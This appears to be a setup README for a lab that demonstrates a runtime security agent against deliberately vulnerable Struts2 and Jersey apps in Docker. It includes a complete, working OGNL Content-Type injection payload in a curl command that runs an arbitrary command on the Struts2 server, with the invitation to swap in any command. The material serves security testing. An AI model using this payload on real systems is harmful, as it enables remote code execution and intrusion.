setup

0. install docker and docker-compose

For the Struts2 Command Injection exploit:

1. untar your agent distribution to the ./struts2-exploit/tcell/ directory
2. copy your tcell_agent.config file to the ./struts2-exploit/tcell/ directory
3. launch with docker-compose up struts2-exploit from this directory.
4. inject a command with the following curl statement.

curl http://127.0.0.1:8081/struts2-showcase-2.3.12/showcase.action  -H "Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo OWNED').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

Note change echo OWNED in the above statement to any command you want.

For the Jersey Command Injection app:

1. untar your agent distribution to the ./jersey/tcell/ directory
2. copy your tcell_agent.config file to the ./jersey/tcell/ directory
3. launch with docker-compose up jersey from this directory
4. open http://localhost:8080/jersey/ in your browser.